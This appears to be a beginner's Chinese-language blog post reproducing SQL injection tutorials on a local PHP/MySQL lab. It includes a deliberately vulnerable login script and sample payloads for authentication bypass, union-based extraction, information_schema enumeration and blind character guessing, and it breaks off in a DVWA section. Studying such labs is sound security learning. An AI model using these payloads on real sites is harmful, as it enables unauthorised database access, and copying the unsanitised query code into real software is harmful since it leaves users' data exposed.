SQLInjection1: php and MySQL

介绍

继续中文。。。这就是用SQL注入的教程复现了一下,顺便memo一下自己作为一个初学者的理解。。。
教程地址:米斯特白帽培训讲义 漏洞篇 SQL 注入

mac配置MySQL

  1. 下载安装,在“系统偏好设置”里面点击MySQL并运行。
  2. 配置环境变量:

    1
    2
    3
    4
    echo $HOME
    cd $HOME
    sudo vim .bash_profile
    export PATH=${PATH}:/usr/local/mysql/bin
  3. 登录:mysql -u root -p

写PHP并连接数据库

乖巧看教程吧
启动PHP内置服务器:
php -S 127.0.0.1:80
再访问 http://localhost/sql.php (如果php文件名叫这个的话)

基于回显的手工注入

简单来说就是有会返回并显示出个人信息或其他从数据库中获取的数据的地方。
教程里的注入点是数值型注入,字符注入在教程末尾有。

memo1(union):

在已经确定搜索返回两个数据之后:

1 and 1=2 union select 1,2

我们的输出是2
来自一个sql初学者的解释

union是把所有select的结果取并集,而 1 and 1=2 是错误的所以不会输出任何的结果,这样sql返回值就变成了[1,2]
显示2就说明显示的数据是第二个
这样在之后的探索过程中,我们就可以把第一个值固定为1,对回显的数据进行操作。

memo2(limit):

在查询表名步骤:

1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit ?,1

limit a,b 表示按搜索结果从第a行开始,输出b个结果。

没有回显的手工注入

基本思路:

  1. 根据information_schema数据库爆破名字长度(比如数据库名字,表格名字等等)
  2. 已知名字长度去爆破每一位的字符: a ~ z 、 0 ~ 9 以及_的 ASCLL 十六进制
  3. 找到名字再进入下一层

复现

改了一改教程的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<form method="GET" action="">
<p> log in: </p>
Username: <input type="text" name="user" />
Password: <input type="text" name="passwd" />
<br/>
<br/>
<input type="submit" value="search" />
</form>
<?php
$host = '127.0.0.1';
$port = 3306;
$un = '';
$pw = '';
$db = '';

$Username = @$_GET['user'];
$Passwd = @$_GET['passwd'];

if($Username == '')
return;
if($Passwd == '')
return;
$conn = @mysql_connect($host . ':' . $port, $un, $pw);
if(!$conn)
die('Error in connecting database' . mysql_error());
mysql_select_db($db, $conn);

$sql = "select id, user from sqlphp where user='$Username' and passwd='$Passwd'";
$res = mysql_query($sql, $conn);
if(!$res)
die('error in searching'. mysql_error());
$num = mysql_num_rows($res);
if($num == 0)
{
echo "Sorry, your username or password is wrong!";
}
else
{
$row = mysql_fetch_row($res);
# echo "<p>Hello, $Username</p>";
echo "<p>Hello, {$row[1]}</p>";
echo "<p>Welcome!</p>";
}

mysql_close($conn);

没被注释掉的是有回显的,被注释掉的是没有回显的。

有回显

username=1' or '1'='1
passwd=1' or '1'='1

=> Hello admin, welcome!

username=admin' order by 1#
passwd=1' or '1'='1

=> Hello admin, welcome!

username=admin' order by 3#
passwd=1'or'1'='1

=> error …

username=1' union select 1,2#
passwd=1'or'1'='1

=> Hello 2, welcome!

嘛后面就一样了

没有回显

个人测试下来并不需要用ascii码的16进制而是直接用字符就可以了,不知道是不是MySQL的版本问题

username=1' or (select length(database()))=11#
passwd=1' or '1'='1

=> Hello 1’ or (select length(database()))=11#, welcome!

username= 1' or (select substr(database(),1,1))='e'#
passwd=1' or '1'='1

=> Hello 1’ or (select substr(database(),1,1))=’e’#, welcome!

进阶

从这里开始换教程:新手指南:DVWA-1.9全级别教程之SQL Injection
跳过low(因为和前面差不多),直接从medium开始。

Medium

增加函数:

  • mysql_real_escape_string: 转义 SQL 语句中使用的字符串中的特殊字符: (例:1’ -> 1\’)

这种方法对数字型注入基本无效。。。
对自己写的字符型注入: